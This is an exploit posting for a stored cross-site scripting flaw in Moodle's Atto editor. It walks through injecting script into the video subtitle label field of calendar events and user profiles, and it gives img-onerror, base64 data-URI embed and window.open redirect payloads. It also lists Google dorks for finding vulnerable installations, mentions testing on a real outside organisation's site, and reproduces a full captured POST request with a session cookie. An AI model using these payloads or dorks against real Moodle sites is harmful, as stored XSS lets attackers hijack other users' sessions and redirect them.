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Moodle Atto Editor Cross Site Scripting

Moodle Atto Editor Cross Site Scripting
Posted Mar 26, 2021
Authored by Vincent666 ibn Winnie

The Moodle Atto Editor, which does not have versions, suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 1883e936d036e427af9e9c1cce0ad5bc8a0eaa07ad8c7911c5725a720541f3ee

Moodle Atto Editor Cross Site Scripting

Change Mirror Download
# Exploit Title: Moodle Atto Editor Cross Site Scripting
# Date: 26.03.2021
# Author: Vincent666 ibn Winnie
# Software Link: https://moodle.org/plugins/editor_atto
# Tested on: Windows 10
# Web Browser: Mozilla Firefox
# Google Dorks: inurl:/lib/editor/atto/plugins/managefiles/ or
calendar/view.php?view=month
# My Youtube Channel: https://www.youtube.com/channel/UCZOWpC2dW9sipPq5z63C2rQ

PoC:

Video PoC: (Update)

https://www.youtube.com/watch?v=vnyo48KImvg

https://www.youtube.com/watch?v=fUWGRqT7lDU

Moodle Atto Editor Stored XSS Problem (Test on euipo.europa.eu)

https://www.youtube.com/watch?v=xaqZagyzTeo

Use Demo:

https://school.moodledemo.net/

Choose a role : Student (example)

Open calendar :

https://school.moodledemo.net/calendar/view.php?view=month

Create new event:

Example:

Event Title "Test"

Description :Choose Insert Video File and choose Video:

Video Source Url you can paste video link from youtube

And open Subtitles and Captions:

Subtitle track URL use video link from youtube

Field Label : There is we can use xss code:

<img src="1" onerror="alert(1)" />

or try in base64

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+"
type="image/svg+xml" AllowScriptAccess="always"></embed>

Insert Media and save this.

Open event and get stored xss.

Or we can use Profile:

https://sandbox.moodledemo.net/user/edit.php?id=4&returnto=profile

Field Label in the Editor vulnerable to XSS.

We can use XSS and js redirect in the profile:

"><video src/onerror=alert(1)><img src=x
onerror=window.open('https://www.google.com/');>

POST:

https://school.moodledemo.net/lib/ajax/service.php?sesskey=vCHlHS7oIl&info=core_calendar_submit_create_update_form

Host: school.moodledemo.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

X-Requested-With: XMLHttpRequest

Content-Length: 996

Origin: https://school.moodledemo.net

Connection: keep-alive

Referer: https://school.moodledemo.net/calendar/view.php?view=month

Cookie: MoodleSession=4ea0036558425526decc096ed375b886;
EU_COOKIE_LAW_CONSENT=true

[{"index":0,"methodname":"core_calendar_submit_create_update_form","args":{"formdata":"id=0&userid=56&modulename=&instance=0&visible=1&eventtype=user&sesskey=vCHlHS7oIl&_qf__core_calendar_local_event_forms_create=1&mform_showmore_id_general=1&name=test&timestart%5Bday%5D=25&timestart%5Bmonth%5D=3&timestart%5Byear%5D=2021&timestart%5Bhour%5D=10&timestart%5Bminute%5D=4&description%5Btext%5D=%3Cp%20dir%3D%22ltr%22%20style%3D%22text-align%3A%20left%3B%22%3E%26nbsp%3B%3Cvideo%20controls%3D%22true%22%3E%3Csource%20src%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeWMB5YKzUSA%22%3E%3Ctrack%20src%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeWMB5YKzUSA%22%20kind%3D%22subtitles%22%20srclang%3D%22en%22%20label%3D%22%3Cimg%20src%3D%26quot%3B1%26quot%3B%20onerror%3D%26quot%3Balert(1)%26quot%3B%20%2F%3E%22%3Ehttps%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeWMB5YKzUSA%3C%2Fvideo%3E%26nbsp%3B%3Cbr%3E%3C%2Fp%3E&description%5Bformat%5D=1&description%5Bitemid%5D=495874277&location=&duration=0"}}]
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